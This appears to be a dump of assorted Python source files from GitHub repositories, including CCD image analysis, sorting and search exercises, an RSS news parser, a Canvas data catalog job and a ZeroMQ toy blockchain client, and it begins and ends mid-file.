if isinstance(bias_path, list):\n        # 输入路径为list, 即文件名\n        bias_files = bias_path\n\n    if isinstance(dark_path, str):\n        # 输入路径为str，即目录\n        for dark_file in os.listdir(dark_path):\n            dark_files.append(os.path.join(dark_path, dark_file))\n\n    if isinstance(dark_path, list):\n        # 输入路径为list, 即文件名\n        dark_files = dark_path\n\n    bias_tmp = []\n    dark_tmp = []\n    # arr = np.zeros(load.getData(MainFrame, files[0]).shape)\n    # 读取本底场图像\n    for bias_file in bias_files:\n        each_data = load.getData(mainFrame, bias_file)\n        # 多个三维fits 堆叠待解决\n        if each_data.ndim > 2:\n            # arr = np.concatenate((arr, each_data))\n            bias_tmp = each_data\n        else:\n            bias_tmp.append(each_data)\n    # 读取暗场图像\n    for dark_file in dark_files:\n        each_data = load.getData(mainFrame, dark_file)\n        # 多个三维fits 堆叠待解决\n        if each_data.ndim > 2:\n            # arr = np.concatenate((arr, each_data))\n            dark_tmp = each_data\n        else:\n            dark_tmp.append(each_data)\n    # 图像堆叠转为array\n    bias_data = np.array(bias_tmp)\n    dark_data = np.array(dark_tmp)\n\n    bias_mean = load.im_combine(bias_data)\n    dark_mean = load.im_combine(dark_data)\n\n    # 暗电流平均值\n    res_darkCurrent = np.mean(dark_mean - bias_mean)\n\n    # 计算热像元\n    # 取第一帧暗场图像\n    dark_firstFrame = dark_data[0, :, :]\n    dark_res = dark_firstFrame - bias_mean\n    # 计算阈值\n    threshold_val = np.mean(dark_res) + 25\n    # 热像元个数\n    coords = np.where(dark_res >= threshold_val)\n    hot_pixel_num = coords[0].shape[0]\n    count_row = np.unique(coords[0], return_counts=True)\n    count_col = np.unique(coords[1], return_counts=True)\n    # 热像元缺陷行列\n    hot_pixel_row = count_row[0][np.where(count_row[1] > 100)]\n    hot_pixel_col = count_col[0][np.where(count_col[1] > 100)]\n\n    # 计算超过4倍典型值的像元比例\n    coord_hotPixel_over4x = np.where(dark_res > 4 * res_darkCurrent)\n    ratio_over4x = coord_hotPixel_over4x[0].shape[0] / dark_res.size\n\n    # 显示结果\n    mainFrame.darkcurrentPage.dc_textCtrl3.SetValue(str(round(res_darkCurrent, 6) / time * gain))\n    mainFrame.darkcurrentPage.dc_textCtrl4.SetValue(str(hot_pixel_num))\n    mainFrame.darkcurrentPage.dc_textCtrl5.SetValue(str(round(ratio_over4x, 5)))\n    mainFrame.darkcurrentPage.dc_textCtrl6.SetValue(\",\".join(hot_pixel_row))\n    mainFrame.darkcurrentPage.dc_textCtrl6.SetValue(\",\".join(hot_pixel_col))\n    return\n\n\ndef prnu_process(mainFrame):\n    bias_path = mainFrame.biasfilePath\n    flat_path = mainFrame.flatfilePath\n    bias_files = []\n    flat_files = []\n    if isinstance(bias_path, str):\n        # 输入路径为str，即目录\n        for bias_file in os.listdir(bias_path):\n            bias_files.append(os.path.join(bias_path, bias_file))\n\n    if isinstance(bias_path, list):\n        # 输入路径为list, 即文件名\n        bias_files = bias_path\n\n    if isinstance(flat_path, str):\n        # 输入路径为str，即目录\n        for flat_file in os.listdir(flat_path):\n            flat_files.append(os.path.join(flat_path, flat_file))\n\n    if isinstance(flat_path, list):\n        # 输入路径为list, 即文件名\n        flat_files = flat_path\n\n    bias_tmp = []\n    flat_tmp = []\n\n    # 读取本底场图像\n    for bias_file in bias_files:\n        each_data = load.getData(mainFrame, bias_file)\n        # 多个三维fits 堆叠待解决\n        if each_data.ndim > 2:\n            # arr = np.concatenate((arr, each_data))\n            bias_tmp = each_data\n        else:\n            bias_tmp.append(each_data)\n    # 读取平场图像\n    for flat_file in flat_files:\n        each_data = load.getData(mainFrame, flat_file)\n        # 多个三维fits 堆叠待解决\n        if each_data.ndim > 2:\n            # arr = np.concatenate((arr, each_data))\n            flat_tmp = each_data\n        else:\n            flat_tmp.append(each_data)\n    # 图像堆叠转为array\n    bias_data = np.array(bias_tmp, dtype=float)\n    flat_data = np.array(flat_tmp, dtype=float)\n\n    # 选择两幅平均值最接近的图像\n    bias1, bias2 = load.im_select(bias_data)\n    flat1, flat2 = load.im_select(flat_data)\n\n    bias_diff = bias1 - bias2\n    flat_diff = flat1 - flat2\n\n    bias_dif_var = np.var(bias_diff)\n    flat_diff_var = np.var(flat_diff)\n\n    res_prnu = np.sqrt(2) * np.sqrt(\n        np.var(flat1) + np.var(flat2) - np.var(bias1) - np.var(bias2) - (flat_diff_var - bias_dif_var)) \\\n               / (np.mean(flat1) + np.mean(flat2) - np.mean(bias1) - np.mean(bias2))\n\n    mainFrame.prnuPage.prnu_textCtrl1.SetValue(str(round(res_prnu, 4)))\n    return\n","repo_name":"bitursa/CCD-Data-Process","sub_path":"core/item.py","file_name":"item.py","file_ext":"py","file_size_in_byte":15309,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"72799230649","text":"'''\nWhile DFS uses a set, for BFS we use a queue\nFor each items that we pop off the queue, we find its unvisied neighbors and add them to the end of the queue\n'''\n\nfrom collections import deque\n\ndef BFS(graph,start,visited={}):\n  queue = deque([start])\n\n  while queue:\n    vertex = queue.popleft()\n    visited.add(vertex)\n    for neighbor in graph[vertex]:\n      if neighbor not in visited:\n        queue.append(neighbor)\n  \n  return visited\n","repo_name":"LennyGonz/LeetCode-Questions","sub_path":"Patterns/Tree_Breadth_First_Search/0_Understand_BFS.py","file_name":"0_Understand_BFS.py","file_ext":"py","file_size_in_byte":442,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"2885573106","text":"\"\"\"\nInsertion sort\n\n\nInsertion sort involves finding the right place for a given element in a sorted list. So in beginning we compare the first two elements \nand sort them by comparing them. Then we pick the third element and find its proper position among the previous two sorted elements. \nThis way we gradually go on adding more elements to the already sorted list by putting them in their proper position.\n\n\"\"\"\n\"\"\"\npseudo code\n\nprocedure insertionSort( A : array of items )\nint holePosition\n   int valueToInsert\n\t\n   for i = 1 to length(A) inclusive do:\n\t\n      /* select value to be inserted */\n      valueToInsert = A[i]\n      holePosition = i\n      \n      /*locate hole position for the element to be inserted */\n\t\t\n      while holePosition > 0 and A[holePosition-1] > valueToInsert do:\n         A[holePosition] = A[holePosition-1]\n         holePosition = holePosition -1\n      end while\n\t\t\n      /* insert the number at hole position */\n      A[holePosition] = valueToInsert\n      \n   end for\n\t\nend procedure\n\"\"\"\n\n\n#Algorithm\ndef insertion_sort(InputList):\n    for i in range(1, len(InputList)):\n        j = i-1\n        nxt_element = InputList[i]\n\t\t\n        while (InputList[j] > nxt_element) and (j >= 0):\n            InputList[j+1] = InputList[j]\n            j=j-1\n        InputList[j+1] = nxt_element\n\nunsorted_list = []\nnum= int(input(\"Enter number of elements\"))\n\nprint(f'Enter {num} elements')\n\nfor i in range(num):\n      data = int(input(f'{i+1}. '))\n      unsorted_list.append(data)\nprint(f'Unsorted list is{unsorted_list}')\ninsertion_sort(list)\nprint(f'Sorted list is {merge_sort(unsorted_list)}')\n","repo_name":"DSCTOCE/Algorithms","sub_path":"insertionsort.py","file_name":"insertionsort.py","file_ext":"py","file_size_in_byte":1615,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"77"}
+{"seq_id":"37130806345","text":"def selection(x):\n  n = len(x)\n  for i in range(0, n-1):\n    ordenado = True\n    for j in range(i+1, n):\n      if x[i]>x[j]:\n        x[i], x[j] = x[j], x[i]\n        ordenado = False\n    if ordenado:\n      return x\n  return x\nx = [2, 7, 8, 1, 3, 6]\nprint(\"Fim do algoritmo -\", selection(x))\n","repo_name":"marceloarantes19/estruturaDeDados2022","sub_path":"ordenacaoNaoOtima/selectionSort2.py","file_name":"selectionSort2.py","file_ext":"py","file_size_in_byte":290,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"77"}
+{"seq_id":"9699146789","text":"import requests  # , time, xml\nfrom bs4 import BeautifulSoup\nimport datetime as dt\nimport re, feedparser\n\n\ndef fix_string(text, k):\n    text = text.strip()\n    pattern = r'[a-z][A-Z]|\\d[A-Z]|[а-я][А-Я]|[а-я][a-z]|\\d[a-z]|\\d[а-я]|[а-я][A-Z]|[a-z][а-я]'\n    result_find = re.findall(pattern, text)\n    for match in result_find:\n        text = text.replace(match, ' '.join(match))\n    if 'https://www.kommersant.ru' in text and 'Коммерсант' in k:\n        text = text.split('https://www.kommersant.ru')[0]\n    if text.startswith('Темная Удмуртия:'):\n        text = text.lstrip('Темная Удмуртия:')\n    text = text.strip()\n    return text\n\ndef feeding_date(url):\n    feeds = feedparser.parse(url)\n\n    working_date = dt.datetime.today() - dt.timedelta(7)\n    i = 1\n    for feed in feeds.entries:\n        datetime_object = dt.datetime.strptime(str(feed.published).rstrip(\" GMT\"), '%a, %d %b %Y %H:%M:%S')\n        # published_date = dt.datetime.today().strftime('%a, %d %B %Y %H:%M:%S')\n        if datetime_object < working_date:\n            break\n        i += 1\n    return i\n\ndef parsing_udm_gov(url):\n    i = 0\n    udm_news = []\n    for k, v in url.items():\n        count = feeding_date(v)\n        resp = requests.get(v)\n        soup_gov = BeautifulSoup(resp.text, 'lxml')\n        description_news = []\n        for tagD in soup_gov.find_all('description')[:count]:\n            content_news = fix_string(tagD.text, k)\n            if 100 < len(content_news) and content_news.startswith('Forwarded From') == False:\n\n                if 'Коммерсант' in k and 'бизнес-завтрак' not in content_news \\\n                        and 'бизнес-пикник' not in content_news \\\n                        and 'кругл' not in content_news \\\n                        and 'стол' not in content_news:\n                    # print(k)\n                    i += 1\n                    description_news.append(content_news)\n                elif 'kommersant' not in content_news and 'Коммерсант' not in k:\n                    i += 1\n                    description_news.append(content_news)\n\n\n\n\n        for descript in description_news:\n            descript = descript.replace('\"', '\\'').rstrip(']]>')\n            article = (descript[:35] + '...') # if len(descript) > 75 else (descript[:25] + '...')\n            pos = article.find('http')\n            article = article[:pos - 1] + '...'\n            article = re.sub(r'http[^(\\s)]+', '...', article)\n            date = dt.datetime.now().strftime(\"%d-%m-%y %H:%M:%S\")\n            content = (article, descript, k, date)\n            udm_news.append(content)\n    return udm_news\n\n","repo_name":"krastykovyaz/vk_wall_poster","sub_path":"parsing_news.py","file_name":"parsing_news.py","file_ext":"py","file_size_in_byte":2688,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"24386353106","text":"# coding=utf-8\n'''\n方法1：从nums内第三个数开始，插入到之前结果的缝隙中，组成新的排列，知道numds内数字全部插完为止\neg:前两个数全排列为[[|0|1|], [|1|0|]]，第三个数可以在|位置插入，一共用六种组合】\n\n方法2：定义一个used数组，记录当前数字是否在item中，如果不在，插入到item中，若item长度等于nums，说明所有数字插入完毕，将\nitem加到结果res中，item弹出最后一个数字，继续遍历。这种方法会首先固定第一个数字，将后面的数字全排列，\n'''\n\n\ndef permute(nums):\n    \"\"\"\n    :type nums: List[int]\n    :rtype: List[List[int]]\n    \"\"\"\n    if not nums:\n        return []\n    n = nums.__len__()\n    if n == 1:\n        return nums\n    buf_ans = [[nums[0], nums[1]], [nums[1], nums[0]]]\n    res = buf_ans\n    index = 2\n    for v in nums[2:]:\n        res = []\n        for buf in buf_ans:\n            for i in range(index + 1):\n                res.append(buf[:i] + [v] + buf[i:])\n        index += 1\n        buf_ans = res\n    return res\n\n\ndef permute1(nums):\n    def helper(num, used, item, res):\n        if item.__len__() == num.__len__():\n            res.append(item[:])\n            return\n        for i in range(num.__len__()):\n            if not used[i]:\n                used[i] = True\n                item.append(num[i])\n                helper(num, used, item, res)\n                item.pop()\n                used[i] = False\n\n    if not nums:\n        return nums\n    res = []\n    used = [False for _ in range(nums.__len__())]\n    item = []\n    helper(nums, used, item, res)\n    return res\n\ndef permute2(nums):\n    import itertools\n    return [i for i in itertools.permutations(nums)]\n\n\nprint(permute2([0, 1, 2]))\n","repo_name":"ChangXiaodong/Leetcode-solutions","sub_path":"4/46-Permutations.py","file_name":"46-Permutations.py","file_ext":"py","file_size_in_byte":1754,"program_lang":"python","lang":"zh","doc_type":"code","stars":4,"dataset":"github-code","pt":"77"}
+{"seq_id":"26180219904","text":"from datetime import datetime, timedelta\n\nfrom flask import current_app as app\nfrom nessie.externals import canvas_data, redshift, s3\nfrom nessie.jobs.background_job import BackgroundJob, BackgroundJobError\nfrom nessie.lib import berkeley\nfrom nessie.lib.util import get_s3_canvas_daily_path\nimport pandas as pd\n\n\n\"\"\"Logic for generate canvas data catalog job.\"\"\"\n\n\nclass RefreshCanvasDataCatalog(BackgroundJob):\n\n    def run(self):\n        # Retrieve latest schema definitions from Canvas data API\n        response = canvas_data.get_canvas_data_schema()\n        external_schema = app.config['REDSHIFT_SCHEMA_CANVAS']\n        redshift_iam_role = app.config['REDSHIFT_IAM_ROLE']\n        canvas_schema = []\n\n        # Parse and isolate table and column details\n        for key, value in response['schema'].items():\n            for column in value['columns']:\n                # Not every column has description and length.\n                description = None\n                if 'description' in column:\n                    description = column['description']\n\n                length = None\n                if 'length' in column:\n                    length = column['length']\n\n                canvas_schema.append([\n                    value['tableName'],\n                    column['name'],\n                    column['type'],\n                    description,\n                    length,\n                ])\n        # Create a dataframe\n        schema_df = pd.DataFrame(canvas_schema)\n        schema_df.columns = [\n            'table_name',\n            'column_name',\n            'column_type',\n            'column_description',\n            'column_length',\n        ]\n\n        # The schema definitions received from Canvas are Redshift compliant. We update\n        # cetain column types to match Glue and Spectrum data types.\n        schema_df['glue_type'] = schema_df['column_type'].replace({\n            'enum': 'varchar',\n            'guid': 'varchar',\n            'text': 'varchar(max)',\n            'date': 'timestamp',\n            'datetime': 'timestamp',\n        })\n\n        schema_df['transformed_column_name'] = schema_df['column_name'].replace({\n                                                                                'default': '\"default\"',\n                                                                                'percent': '\"percent\"',\n                                                                                })\n        # Create Hive compliant storage descriptors\n        canvas_external_catalog_ddl = self.generate_external_catalog(external_schema, schema_df)\n\n        # Clean up and recreate refreshed tables on Glue using Spectrum\n        redshift.drop_external_schema(external_schema)\n        redshift.create_external_schema(external_schema, redshift_iam_role)\n\n        if redshift.execute_ddl_script(canvas_external_catalog_ddl):\n            app.logger.info('Canvas schema creation job completed.')\n        else:\n            app.logger.error('Canvas schema creation job failed.')\n            raise BackgroundJobError('Canvas schema creation job failed.')\n\n        self.verify_external_data_catalog()\n        return 'Canvas external schema created and verified.'\n\n    def generate_external_catalog(self, external_schema, schema_df):\n        canvas_path = self.generate_canvas_path()\n        canvas_tables = schema_df.table_name.unique()\n        s3_canvas_data_url = 's3://' + app.config['LOCH_S3_BUCKET'] + '/' + canvas_path\n        s3_requests_url = 's3://{}/{}'.format(app.config['LOCH_S3_BUCKET'], berkeley.s3_canvas_data_path_current_term())\n        external_table_ddl = ''\n\n        for table in canvas_tables:\n            table_columns = schema_df.loc[schema_df['table_name'] == table].reset_index()\n            storage_descriptor_df = table_columns[['transformed_column_name', 'glue_type']]\n\n            create_ddl = 'CREATE EXTERNAL TABLE {}.{}\\n(\\n'.format(external_schema, table)\n            storage_descriptors = ''\n            for index in storage_descriptor_df.index:\n                storage_descriptors = '{}    {} {}'.format(\n                    storage_descriptors,\n                    storage_descriptor_df['transformed_column_name'][index],\n                    storage_descriptor_df['glue_type'][index],\n                )\n                if (index != (len(storage_descriptor_df.index) - 1)):\n                    storage_descriptors = storage_descriptors + ',\\n'\n\n            table_properties = '\\n) \\nROW FORMAT DELIMITED FIELDS \\nTERMINATED BY \\'\\t\\' \\nSTORED AS TEXTFILE'\n            if (table != 'requests'):\n                table_location = '\\nLOCATION \\'{}/{}\\''.format(s3_canvas_data_url, table)\n            else:\n                table_location = '\\nLOCATION \\'{}/{}\\''.format(s3_requests_url, table)\n\n            external_table_ddl = '{}\\n{}{}{}{};\\n\\n'.format(\n                external_table_ddl,\n                create_ddl,\n                storage_descriptors,\n                table_properties,\n                table_location,\n            )\n\n        # For debugging process, export to external_table_ddl to file to get a well formed SQL template for canvas-data\n        return external_table_ddl\n\n    # Gets an inventory of all the tables by tracking the S3 canvas-data daily location and run count verification to ensure migration was successful\n    def verify_external_data_catalog(self):\n        s3_client = s3.get_client()\n        bucket = app.config['LOCH_S3_BUCKET']\n        external_schema = app.config['REDSHIFT_SCHEMA_CANVAS']\n        prefix = self.generate_canvas_path()\n        app.logger.info(f'Daily path = {prefix}')\n        directory_names = []\n        s3_objects = s3_client.list_objects_v2(Bucket=bucket, Prefix=prefix)\n        for object_summary in s3_objects['Contents']:\n            # parse table names from the S3 object URLs\n            directory_names.append(object_summary['Key'].split('/')[3])\n\n        # Get unique table names from S3 object list\n        tables = sorted(list(set(directory_names)))\n        # Ensure that all tables required by downstream jobs have data present in S3.\n        required_tables = [\n            'assignment_dim',\n            'assignment_override_dim',\n            'assignment_override_user_rollup_fact',\n            'course_dim',\n            'course_score_fact',\n            'course_section_dim',\n            'enrollment_dim',\n            'enrollment_fact',\n            'enrollment_term_dim',\n            'pseudonym_dim',\n            'submission_dim',\n            'submission_fact',\n            'user_dim',\n        ]\n        for required_table in required_tables:\n            if required_table not in tables:\n                raise BackgroundJobError(f'No data in S3 for external table {required_table}: aborting job.')\n\n        app.logger.info(f'Tables to be verified : {tables}')\n        for table in tables:\n            result = redshift.fetch(f'SELECT COUNT(*) FROM {external_schema}.{table}')\n            if result and result[0] and result[0]['count']:\n                count = result[0]['count']\n                app.logger.info(f'Verified external table {table} ({count} rows).')\n            else:\n                raise BackgroundJobError(f'Failed to verify external table {table}: aborting job.')\n        app.logger.info(f'Canvas verification job completed successfully for {len(tables)} tables')\n        return True\n\n    def generate_canvas_path(self):\n        canvas_path = get_s3_canvas_daily_path()\n        if not s3.get_keys_with_prefix(canvas_path):\n            canvas_path = get_s3_canvas_daily_path(datetime.now() - timedelta(days=1))\n            if not s3.get_keys_with_prefix(canvas_path):\n                raise BackgroundJobError('No timely Canvas data found, aborting')\n            else:\n                app.logger.info('Falling back to yesterday\\'s Canvas data')\n        return canvas_path\n","repo_name":"ets-berkeley-edu/nessie","sub_path":"nessie/jobs/refresh_canvas_data_catalog.py","file_name":"refresh_canvas_data_catalog.py","file_ext":"py","file_size_in_byte":7824,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"77"}
+{"seq_id":"32765980130","text":"\n\ndef part1(file):\n    total = 0\n    with open(file) as f:\n        while True:\n            line = f.readline().strip()\n            if not line:\n                break\n            left, right = line.split(\",\")\n            ll, lr = left.split(\"-\")\n            rl, rr = right.split(\"-\")\n            if int(ll) >= int(rl) and int(lr) <= int(rr) or int(ll) <= int(rl) and int(lr) >= int(rr):\n                total += 1\n\n    return total\n\n\ndef part2(file):\n    total = 0\n    with open(file) as f:\n        while True:\n            line = f.readline().strip()\n            if not line:\n                break\n            left, right = line.split(\",\")\n            ll, lr = left.split(\"-\")\n            rl, rr = right.split(\"-\")\n            ll, lr, rl, rr = int(ll), int(lr), int(rl), int(rr)\n            if rl <= lr <= rr \\\n                    or rl <= ll <= rr \\\n                    or ll >= rl and lr <= rr \\\n                    or ll <= rl and lr >= rr:\n                total += 1\n\n    return total\n\n\ndef main():\n    print(\"the answer is \")\n    print(part1(\"data/test_data\"))\n    print(part1(\"data/real_data\"))\n    print(part2(\"data/test_data\"))\n    print(part2(\"data/real_data\"))\n\n\nif __name__ == \"__main__\":\n    main()\n\n","repo_name":"od107/aoc22","sub_path":"day4/pairs.py","file_name":"pairs.py","file_ext":"py","file_size_in_byte":1211,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"11673071473","text":"import threading\nimport zmq\nimport time\nimport json\nimport sys\nimport os\nsys.path.append(\"..\")\n# from controller.block_chain import *\n\n\nfrom hashlib import sha256\nimport json\nimport time\n\n\nclass Block(object):\n\n    def __init__(self, transactions, previous_hash):\n        self.transactions = transactions\n        # self.timestamp = timestamp\n        self.previous_hash = previous_hash\n        self.nonce = 0\n\n    def compute_hash(self):\n        # A function that return the hash of the block contents.\n        block_string = str(self.transactions) + str(self.nonce)\n        # block_string = json.dumps(self._dict_, sort_keys = True)\n        return str(sha256(block_string.encode()).hexdigest())\n\n\nclass MessageThread(threading.Thread):\n\n    def __init__(self, threadID, name, counter):\n        threading.Thread.__init__(self)\n        self.threadID = threadID\n        self.name = name\n        self.counter = counter\n        self.endpoint = \"tcp://127.0.0.1:5002\"\n\n    def run(self):  # 把要执行���代码写到run函数里面 线程在创建后会直接运行run函数\n        context = zmq.Context()\n        client = context.socket(zmq.SUB)\n        client.connect(self.endpoint)\n        client.setsockopt(zmq.SUBSCRIBE, b'')  # Terminate early\n        while True:\n            print(\"5002 waiting...\")\n            rep = client.recv_json()\n            reply = json.loads(rep)\n            print(\"5002 received: \", reply)\n            block = Block(reply, previous_hash=0)\n            hash_result, noce = self.proof_of_work(block=block)\n            for key in reply.keys():\n                reply[key]['noce'] = str(noce)\n                reply[key]['hash_cur'] = str(hash_result)\n            MessageThread.send_finish_status(reply)\n\n    def proof_of_work(self, block):\n        block.nonce = 0\n        computed_hash = block.compute_hash()\n        while not computed_hash.startswith('O' * 5):\n            block.nonce += 1\n            computed_hash = block.compute_hash()\n            # print(computed_hash)\n            if computed_hash.startswith('0' * 5):\n                break\n        print(' 最终结果:{}, 随机数:{}'.format(computed_hash, block.nonce))\n        return computed_hash, block.nonce\n\n    @staticmethod\n    def send_finish_status(block_object):\n        context = zmq.Context()\n        socket = context.socket(zmq.REQ)\n        socket.connect(\"tcp://127.0.0.1:5003\")\n        block_dict = {}\n        block_dict['finished'] = block_object\n        block_dict['uid'] = LoginThread.uid\n        block_string = json.dumps(block_dict)\n        print(\"5003 send: \", block_string)\n        socket.send_json(json.dumps(block_dict))\n        socket.recv_string()\n        socket.close()\n\n\nclass Client(threading.Thread):\n\n    def __init__(self, threadID, name, counter):\n        threading.Thread.__init__(self)\n        self.threadID = threadID\n        self.name = name\n        self.counter = counter\n        self.endpoint = \"tcp://127.0.0.1:5004\"\n\n    def run(self):\n        context = zmq.Context()\n        client = context.socket(zmq.SUB)\n        client.connect(self.endpoint)\n        client.setsockopt(zmq.SUBSCRIBE, b'')\n        while True:\n            data = client.recv_json()\n            reply = json.loads(data)\n            print(\"5004 received\", reply)\n            for key in reply.keys():\n                load_data = {}\n                if os.path.exists('.\\\\data\\\\block\\\\pid-' + str(reply[key]['pid']) + '.txt'):\n                    with open('.\\\\data\\\\block\\\\pid-' + str(reply[key]['pid']) + '.txt', 'r', encoding='utf-8') as f:\n                        load_data = json.load(f)\n                    if key in load_data:\n                        continue\n                    else:\n                        load_data[key] = reply[key]\n                        print(\"write data: \", load_data[key])\n                        with open('.\\\\data\\\\block\\\\pid-' + str(reply[key]['pid']) + '.txt', 'w', encoding=\"utf-8\") as f:\n                            f.write(json.dumps(load_data, indent=2, ensure_ascii=False))\n                else:\n                    load_data[key] = reply[key]\n                    with open('.\\\\data\\\\block\\\\pid-' + str(reply[key]['pid']) + '.txt', 'w', encoding=\"utf-8\") as f:\n                        f.write(json.dumps(load_data, indent=2, ensure_ascii=False))\n            context = zmq.Context()\n            socket = context.socket(zmq.REQ)\n            socket.connect(\"tcp://127.0.0.1:5001\")\n            block_dict = {'ok': 'true', 'uid': LoginThread.uid}\n            block_string = json.dumps(block_dict)\n            print(\"5003 send: \", block_string)\n            socket.send_json(json.dumps(block_dict))\n            socket.recv_string()\n            socket.close()\n\n\nclass LoginThread(threading.Thread):\n    uid = \"\"\n\n    def __init__(self, threadID, name, counter):\n        threading.Thread.__init__(self)\n        self.threadID = threadID\n        self.name = name\n        self.counter = counter\n        self.endpoint = \"tcp://127.0.0.1:5006\"\n\n    def login(self):\n        context = zmq.Context()\n        socket = context.socket(zmq.REQ)\n        socket.connect(\"tcp://127.0.0.1:5005\")\n        while True:\n            data_dict = {}\n            for filename in os.listdir(os.getcwd() + \"\\\\data\\\\block\"):\n                with open(\".\\\\data\\\\block\\\\\" + filename, 'r', encoding='utf-8') as f:\n                    load_data = json.load(f)\n                for key in load_data.keys():\n                    data_dict[load_data[key]['pid']] = load_data\n            if data_dict:\n                data_dict['uid'] = self.uid\n                socket.send_json(json.dumps(data_dict))\n            else:\n                socket.send_json(json.dumps({'nothing': \"true\"}))\n            rec = socket.recv_json()\n            print(\"my received: \", rec)\n            time.sleep(60)\n\n    def run(self):  # 把要执行的代码写到run函数里面 线程在创建后会直接运行run函数\n        context = zmq.Context()\n        client = context.socket(zmq.SUB)\n        client.connect(self.endpoint)\n        client.setsockopt(zmq.SUBSCRIBE, b'')  # Terminate early\n        while True:\n            rep = client.recv_json()\n            reply = json.loads(rep)\n            print(\"5006 received: \", reply)\n            for key in reply.keys():\n                with open('.\\\\data\\\\block\\\\pid-' + key + '.txt', 'w', encoding=\"utf-8\") as f:\n                    f.write(json.dumps(reply[key], indent=2, ensure_ascii=False))\n        client.close()\n\n\nif __name__ == \"__main__\":\n    login = LoginThread(1, \"Thread-1\", 1)\n    LoginThread.uid = input(\"your uid\")\n    login_thread = threading.Thread(target=login.login)\n    login_thread.start()\n    login.start()\n    handler2 = MessageThread(3, \"Thread-3\", 1)\n    handler2.start()\n    handler3 = Client(4, \"Thread-4\", 1)\n    handler3.start()\n","repo_name":"kelekle/simple_block_chain","sub_path":"client/subscriber.py","file_name":"subscriber.py","file_ext":"py","file_size_in_byte":6776,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"77"}
+{"seq_id":"70109434490","text":"# Modelo\n# Controllar los datos\nimport pandas as pd\nimport matplotlib.pyplot as plt\n\nclass Person:    \n    def __init__(self, name, email):\n        self.name = name        \n        self.email = email        \n\nclass Student(Person):\n    def __init__(self, name, last_name, phone, email, type_help):\n        Person.__init__(self, name, email)\n        self.last_name = last_name\n        self.phone = phone\n        self.type_help = type_help        \n\nclass Voluntary(Person):\n    def __init__(self, name, type_help, email, phone, courses):\n        Person.__init__(self, name, email)\n        self.courses = courses\n        self.phone = phone\n        self.type_help = type_help\n\nclass Donation(Person):\n    def __init__(self, name, email, donated_money, others_donated):\n        Person.__init__(self, name, email)\n        self.donated_money = donated_money\n        self.others_donated = others_donated\n        \nclass Model:\n    FILE_STUDENTS = \"docs//students.csv\"\n    FILE_VOLUNNTEERING = \"docs//volunteering.csv\"\n    FILE_INSTITUTIONS = \"docs//institutions.csv\"\n    FILE_DONATIONS = \"docs//donations.csv\"\n    FILE_INFORMATION = \"docs//information.csv\"\n\n    def __init__(self):\n        self.df_students = pd.read_csv(self.FILE_STUDENTS, encoding=\"latin1\")\n        self.df_volunnteering = pd.read_csv(self.FILE_VOLUNNTEERING, encoding=\"latin1\")\n        self.df_donations = pd.read_csv(self.FILE_DONATIONS, encoding=\"latin1\")\n        self.df_institutions = pd.read_csv(self.FILE_INSTITUTIONS, encoding=\"latin1\")\n        self.df_information = pd.read_csv(self.FILE_INFORMATION, encoding=\"latin1\")\n    \n    # --> Métodos para agregar datos nuevos a las \"bases de datos\"\n    def add_new_student(self, student : Student):\n        new_registry = {\n            \"nombre\" : student.name,\n            \"apellido\" : student.last_name,\n            \"correo\" : student.email,\n            \"numero\" : student.phone,\n            \"tipo_ayuda_buscada\" : student.type_help\n        }\n\n        self.df_students = self.df_students.append(new_registry, ignore_index=True)\n        self.df_students.to_csv(self.FILE_STUDENTS, index=False)\n        return \"Información guardada con éxito\"\n\n    def add_new_voluntary(self, voluntary : Voluntary):\n        new_registry = {\n            \"nombre_voluntariado\" : voluntary.name,\n            \"tipo_ayuda\" : voluntary.phone,\n            \"correo\" : voluntary.email,\n            \"numero_telefonico\" : voluntary.phone,\n            \"cuantcursos\" : voluntary.courses\n        }\n\n        self.df_volunnteering = self.df_volunnteering.append(new_registry, ignore_index=True)\n        self.df_volunnteering.to_csv(self.FILE_VOLUNNTEERING, index=False)\n        return \"Información guardada con éxito\"\n\n    def add_new_donnation(self, donation : Donation):\n        new_registry = {\n            \"name\" : donation.name,\n            \"email\" : donation.email,\n            \"donated_money\" : donation.donated_money,\n            \"others_donated\" : donation.others_donated,\n        }\n\n        self.df_donations = self.df_donations.append(new_registry, ignore_index=True)\n        self.df_donations.to_csv(self.FILE_DONATIONS, index=False)\n        return \"Información guardada con éxito\"\n\n    def add_count_visite(self):\n        self.df_information[\"veces_estudiante_interaccion\"][0] += 1\n        self.df_information.to_csv(self.FILE_INFORMATION, index=False)\n\n    # --> Métodos para llevar mostrar información en específica\n    def show_recomendation_complete(self, type_help):\n        total_elements = self.df_institutions.shape[0]\n        for i in range(total_elements):\n            if self.df_institutions[\"tipobeca\"][i] == type_help or self.df_institutions[\"tipobeca\"][i] == \"Mixto\":\n                print(f\"-> {self.df_institutions['nombre'][i]} - Descripcion:\\n{self.df_institutions['detalles'][i]}\\n\")\n\n    def show_other_recomendations(self):\n        total_elements = self.df_institutions.shape[0]\n        for i in range(total_elements):\n            if self.df_institutions[\"tipobeca\"][i] != \"Completa\" or self.df_institutions[\"tipobeca\"][i] != \"Parcial\":\n                print(f\"-> {self.df_institutions['nombre'][i]} - Descripcion:\\n{self.df_institutions['detalles'][i]}\\n\")\n\n    # --> Métodos para llevar a cabo el análisis de datos\n    def get_information_general(self):\n        info = f\"\"\"\n        Estudiantes que ingresaron a la pagina: {self.df_information[\"veces_estudiante_interaccion\"][0]}\n        Cantidad de estudiantes registrados: {self.df_students.shape[0]}        \n        \"\"\"\n        return info\n\n    def get_donations_recived(self):\n        info = f\"\"     \n        \n        money = 0\n        elements = self.df_donations.shape[0]\n        # Mostrar dinero donado\n        for i in range(elements): money += int(self.df_donations[\"donated_money\"][i])\n        info += f\"\\nDinero donado en total: {money}\\n\"\n\n        # Mostrar elementos donados\n        info += f\"\\nElementos donados:\\n\"\n        for i in range(elements): \n            donated_elems = self.df_donations[\"others_donated\"][i].split(\"+\")\n            for elem in donated_elems: \n                if not 